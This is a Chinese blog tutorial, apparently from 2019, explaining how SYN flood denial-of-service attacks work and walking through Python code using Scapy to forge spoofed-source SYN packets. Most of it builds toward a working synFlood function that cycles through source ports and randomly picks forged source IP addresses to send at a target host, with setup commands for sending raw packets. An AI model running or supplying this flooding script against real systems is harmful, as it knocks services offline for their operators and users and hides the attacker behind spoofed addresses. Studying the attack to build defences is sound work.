Python实现SYN进行Dos攻击

作者: wanmidi 分类: python类,Scapy发包模块 发布时间: 2019-09-19 20:32

本次环境:python3Scapy模块

本文章将使用python3版本的Scapy–Scapy3k来实现一个简单的Dos攻击,本文将学习如何使用Scapy3k来实现SYN泛洪攻击。

先介绍下 SYN泛洪攻击的实现原理:

SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。

我们都知道建立Tcp连接需要完成三次握手。正常情况下客户端首先向服务端发送SYN报文,随后服务端回以SYN+ACK报文到达客户端,最后客户端向服务端发送ACK报文完成三次握手。

为正常的协议交换

SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文 (即为没有第三步反馈ACK)。由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定的时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务。

Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试中应用非常广泛。Scapy是一个独立的程序同时还可以作为Python的第三方库使用。

1. 安装Scapy3k:

pip3 install scapy-python3==0.18

注意 使用scapy发包需要root 权限 win系统管理员powershell运行 linux下需要加上sudo

2.了解Scapy

WIn10使用scapy教程 :https://mi-di.cn/python/75.html

先用Scapy构造一个简单的数据包

pkt = IP(dst="192.168.43.133")

可以看到Scapy构造一个数据包非常简单,我们再来看一下如何构造SYN数据包:

IP(src="117.136.103.214",dst="192.168.43.133")/TCP(dport=80,flags="S")

我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的(具体流程在上图已介绍)。IP包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,当然这也是DoS攻击中保护攻击者的一种方式。flags的值我们设定为S,说明我们要发送的是SYN数据包。非常简短的一段指令就构造了一个伪造了源IP地址的SYN数据包

pkt = IP(src="117.136.103.214",dst="192.168.43.133")/TCP(dport=80,flags="S")
send(pkt)

Scapy的更详细用法,可以看一下官方文档,你就会发现Scapy的强大之处。

下面进行python的代码实现:

  1. 先导Scapy的包:
from scapy.all import *

之前我们已经构造过了SYN数据包,现在我们需要实现随机伪造源IP地址、以及以不同的源端口向目标主机发送SYN数据包:

import random
from scapy.all import *

def synFlood(tgt,dPort):
srcList = [‘117.136.103.214′,’117.136.103.216′,’69.1.1.2′,’125.130.5.199’]
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags=”S”)
packet = ipLayer / tcpLayer
send(packet)

在代码中我定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。


执行后出现

WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6 请将scapy

原因是用 from scapy.all import *的时候把ipv6相关的模块也导进去了,想关闭警告,我们可以打开scapy安装目录(我电脑上的路径是C:\Python27\Lib\site-packages),打开all.py文件,把与ipv6相关的几行注释掉就OK了,26行开始

#if conf.ipv6_enabled:
#    from utils6 import *
#    from route6 import *

发表评论

电子邮件地址不会被公开。 必填项已用*标注